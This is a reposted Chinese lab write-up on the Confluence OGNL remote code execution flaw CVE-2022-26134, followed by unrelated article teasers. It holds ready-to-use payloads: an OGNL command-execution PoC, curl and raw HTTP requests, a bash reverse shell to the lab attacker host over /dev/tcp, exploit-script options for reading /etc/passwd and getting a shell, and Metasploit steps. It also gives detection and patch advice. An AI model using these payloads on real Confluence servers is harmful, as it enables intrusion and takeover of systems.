【CVE-2022-26134】Confluence OGNL RCE 漏洞

news2024/11/24 22:50:22

漏洞描述

远程攻击者在未经身份验证的情况下,可构造OGNL表达式进行注入,实现在Confluence Server或Data Center上执行任意代码。

影响版本

Confluence Server and Data Center >= 1.3.0

Confluence Server and Data Center < 7.4.17

Confluence Server and Data Center < 7.13.7

Confluence Server and Data Center < 7.14.3

Confluence Server and Data Center < 7.15.2

Confluence Server and Data Center < 7.16.4

Confluence Server and Data Center < 7.17.4

Confluence Server and Data Center < 7.18.1

背景知识

confluence

Atlassian Confluence(简称Confluence)是一个专业的wiki程序。它是一个知识管理的工具,通过它可以实现团队成员之间的协作和知识共享。团队将日常的工作任务进度管理、技术知识分享、开发文档、操作手册、文档附件都放置入Confluence中进行统一管理,富文本编辑器使文档内容支持更加丰富。

主要使用场景

目前,Confluence被用于广泛地用于项目团队,开发团队,市场销售团队。

漏洞危害

漏洞评分9.8,危害等级严重,攻击者可以利用此漏洞执行任意代码,直接获得权限。

漏洞原理

攻击者提供的URI将被转换为namespace,然后该namespace将被转换为OGNL表达式进行计算(攻击者提供的url被间接转化成了OGNL表达式进行计算)

OGNL

OGNL是一种功能强大的表达式语言,可以存取对象的任意属性,调用对象的方法,遍历整个对象的结构图,实现字段类型转化等功能。它使用相同的表达式去存取对象的属性。

OGNL常用表达式

1、当使用OGNL调用静态方法的时候,需要按照如下语法编写表达式:

@package.classname@methodname(parameter)

2、对于OGNL来说,java.lang.Math是其的默认类,如果调用java.lang.Math的静态方法时,无需指定类的名字,比如:@@min(4, 10);

环境搭建

目标机:Ubunut 192.168.164.129

攻击机:Kali 192.168.164.128

docker-compose up -d

环境搭建后访问192.169.164.129:8090即可访问页面

 进入后的页面

 漏洞验证与利用

1、BurpSuite

poc构造

${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}

使用URL转换

%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D

 数据包如下(不可复制)

GET //%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1
Host: 192.168.164.129:9080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=3764D915B037D5A50D8025AA793E990A
Connection: close

 getshell

GET //%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27bash%20-i%20%3E%26%20/dev/tcp/192.168.164.128/9898%200%3E%261%27%29.start%28%29%22%29%7D/ HTTP/1.1

%2F%2F%24%7Bnew+javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new+java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27bash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.164.128%2F9898+0%3E%261%27%29.start%28%29%22%29%7D%2F

2、CURL

curl -v http://192.168.164.129:8090//%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ 

 3、EXP利用

 python3 CVE-2022-26134.py -h #帮助

python3 CVE-2022-26134.py --rhost 192.168.164.129 --rport 8090 --lhost 192.168.164.128 --protocol http:// --read-file /etc/passwd #读取文件

python3 CVE-2022-26134.py --rhost 192.168.164.129 --rport 8090 --lhost 192.168.164.128 --protocol http:// --reverse-shell #获取shell

 不太好使

4、MSF

search 26134

set rhosts 192.168.164.129
set lhost 192.168.164.128
run

 

 漏洞检测

1、版本检测

在登录界面以及Confluence主界面都能看到版本号,对应版本号可能会存在相关漏洞。

2、手动检测

利用BurpSuite或者是curl手动检测

3、脚本检测

支持单个url检测以及批量url检测。

 Fofa语句

还是别乱搞了吧

漏洞修复

  1. 升级Atlassian Confluence Server and Data Center至安全版本。
  2. 下载官方发布的xwork-1.0.3-atlassian-10.jar替换confluence/WEB-INF/lib/目录下原来的xwork jar文件,并重启Confluence。
  3. 拦截请求参数中包含"getRuntime().exec("或"/etc/passwd"的流量。
     

注:漏洞脚本非原创

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/526296.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

九头蛇3389远程爆破

1.初学KALI hydra&#xff08;海德拉&#xff09;。 实验环境&#xff1a;VM16,虚拟机两台&#xff0c;Windows10系统&#xff0c;KALI系统&#xff0c;用nmap查看目标端口是否开放。 2.在KALI虚拟机上面使用命令nmap查看WIN10的3389端口是否打开。 3.在KALI虚拟机上面建立用…

Java sdk使用加载账户私钥调用合约

Java sdk使用加载账户私钥调用合约 1.智能合约案例 1.2 智能合约的流程 1.2 智能合约详细代码 实现了一个简单的商店功能。它定义了三个结构体&#xff1a;用户、商家和商品&#xff0c;以及对应的映射关系。它提供了一些方法用于注册用户和商家&#xff0c;创建商品&#x…

MVC模式和三层架构

MVC模式和三层架构 MVC模式三层架构MVC与三层架构的联系MVC与三层架构的异同 MVC模式 MVC&#xff08;Model View Controller&#xff09;是软件工程中的一种软件设计模式&#xff0c;它把软件系统分为模型、视图和控制器三个基本部分。用一种业务逻辑、数据、界面显示分离的方…

路由器+Gdbserver+IDA Pro远程调试

最近在复现路由器漏洞&#xff0c;也踩了不少坑&#xff0c;记录一下&#xff0c;希望能对需要的人有一些帮助。使用的路由器型号为RT-AC68U&#xff0c;ARM架构&#xff0c;小端序&#xff0c;Linux内核版本2.6.36&#xff0c;很老&#xff0c;主要的时间也花费在找能支持这个…

2023年最新版kali linux安装教程

一、前期准备 前排提醒&#xff0c;文末有绿色版安装包免费领取&#xff01; 二、VMware虚拟机配置 1、打开vmware&#xff0c;点击创建新的虚拟机 2、选择自定义(高级)选项&#xff0c;点击下一步 3、继续下一步 4、选择【稍后安装操作系统】&#xff0c;然后点击下一步 …

【Mybatis】使用mybatis框架连接mysql数据库详细步骤

和我之前写的通过导入jdbc驱动jar包来连接mysql数据库而言&#xff0c;用mybatis来说可以有很多好处呀&#xff0c;首先mybatis&#xff0c;就是对jdbc的优化方案对吧&#xff0c;&#xff0c;jdbc的硬编码和一些繁琐的操作在使用mybatis的时候我就彻底抛掷脑后了哈哈哈。 同时…

MySQL数据库下载及安装教程(最最新版)

MySQL数据库下载及安装教程&#xff08;最最新版&#xff09; 一、下载mysql数据库二、安装Mysql三、验证是否安装成功&#xff08;一&#xff09;、命令提示符cmd窗口验证&#xff08;二&#xff09;、MySQL控制台验证 一、下载mysql数据库 进入MySQL官方网站&#xff08;htt…

SVG实现中国地图

1.SVG是什么&#xff1f; svg 是Scalable Vector Graphics的缩写&#xff0c;指可伸缩矢量图形&#xff0c;可以用于绘制复杂不规则的控件。 svg绘制原理&#xff0c;就是利用了Path绘制图形。 1&#xff09;svg利用xml定义图形。在xml中就包晗了绘制Path所需的数据。 2&…

创建数据库中,超详细常用的MySQL命令(含解析、图解与全部代码)

目录 系统命令行 MySQL命令行 数据库命令 数据表命令 建表并导入数据 表的其他操作 系统命令行 以下是在系统命令行&#xff0c;已管理员身份运行的情况下&#xff0c;MySQL的一些命令 1.这两条是关闭MySQL服务与开启MySQL服务的命令 net stop MySQL net start MySQL80…

Mysql启动不了怎么回事

mysql 服务无法启动是什么原因&#xff1f; mysql服务无法启动的原因有很多&#xff1a;可能端口被占用&#xff1b;可能my.cnf配置了错误的参数&#xff1b;也有可能没有初始数据库&#xff0c;还有可能是其他原因。大多数原因都可以通过先注销掉原有的服务、重新装载服务、之…

ASIC-WORLD Verilog(5)基础语法下篇

写在前面 在自己准备写一些简单的verilog教程之前&#xff0c;参考了许多资料----asic-world网站的这套verilog教程即是其一。这套教程写得极好&#xff0c;奈何没有中文&#xff0c;在下只好斗胆翻译过来&#xff08;加了自己的理解&#xff09;分享给大家。 这是网站原文&…

k8s中pod使用详解

一、前言 在之前k8s组件一篇中,我们谈到了pod这个组件,了解到pod是k8s中资源管理的最小单位,可以说Pod是整个k8s对外提供服务的最基础的个体,有必要对Pod做深入的学习和探究。 二、再看k8s架构图 为了加深对k8s中pod的理解,再来回顾下k8s的完整架构 三、pod特点 结合上面这…

YOLOv5算法原理与网络结构

YOLOv5算法原理与网络结构 1.1 YOLOv5算法 YOLOv5算法共有4种网络结构&#xff0c;分别是YOLOv5s、YOLOv5m、YOLOv5l和YOLOv5x&#xff0c;这四种网络结构在宽度和深度上不同&#xff0c;原理上基本一样&#xff0c;接下来以 YOLOv5s 为例介绍 YOLOv5网络结构。 图1 YOLOv5网…

基于Java+SpringBoot+Vue前后端分离手机销售商城系统设计和实现

博主介绍&#xff1a;✌全网粉丝30W,csdn特邀作者、博客专家、CSDN新星计划导师、java领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ &#x1f345;文末获取源码联系&#x1f345; &#x1f447;&#x1f3fb; 精彩专…

软件AutoID Network Navigator设置基恩士扫码枪的使用教程

AutoID Network Navigator可以用来对扫码枪的ip和各参数进行调整 1.设置前的准备 扫码枪的默认ip是192.168.100.1&#xff0c;所以需要先把电脑IP更改为192.168.100.xxx 2.搜索扫码枪 更改电脑IP后打开软件点击绿色的号 选择以太网 出现局域网设置弹窗&#xff0c;若为你设…

为什么说网络安全行业是 IT 行业最后的红利?

一、为什么选择网络安全&#xff1f; 这几年随着我国《国家网络空间安全战略》《网络安全法》《网络安全等级保护 2.0》等一系列政策/法规/标准的持续落地&#xff0c;网络安全行业地位、薪资随之水涨船高。 未来 3-5 年&#xff0c;是安全行业的黄金发展期&#xff0c;提前踏…

《汇编语言》- 读书笔记 - 第1章-基础知识

《汇编语言》- 读书笔记 - 第1章-基础知识 1.1 机器语言1.2 汇编语言的产生1.3 汇编语言的组成1.4 存储器1.5 指令和数据1.6 存储单元1.7 CPU对存储器的读写1.8 地址总线主流CPU的寻址能力 1.9 数据总线1.10 控制总线检测点 1.11.11 内存地址空间(概述)1.12 主板1.13 接口卡1.1…

【python基础教程】csv文件的写入与读取

✅作者简介&#xff1a;大家好我是hacker707,大家可以叫我hacker &#x1f4c3;个人主页&#xff1a;hacker707的csdn博客 &#x1f525;系列专栏&#xff1a;python基础教程 &#x1f4ac;推荐一款模拟面试、刷题神器&#x1f449;点击跳转进入网站 csv文件读写 csv的简单介绍…

MAC怎么获取文件路径 MAC获取文件路径的四种方法

MAC怎么获取文件路径介绍 方法一&#xff1a;最简单的方法 右键文件或者文件夹&#xff0c;选择显示简介 2在弹出来的窗口中找到位置&#xff0c;即为路径&#xff0c;在mac 10.10之前的系统是正常的路径&#xff0c;10.10开始是小箭头代替/显示&#xff0c;注意&#xff0c…

Git操作不规范,战友提刀来相见。

年终奖都没了&#xff0c;还要扣我绩效&#xff0c;门都没有&#xff0c;哈哈。 这波骚Git操作我也是第一次用&#xff0c;担心闪了腰&#xff0c;所以不仅做了备份&#xff0c;也做了笔记&#xff0c;分享给大家。 文末留言抽奖&#xff0c;聊聊你的年终奖。 问题描述 小A和…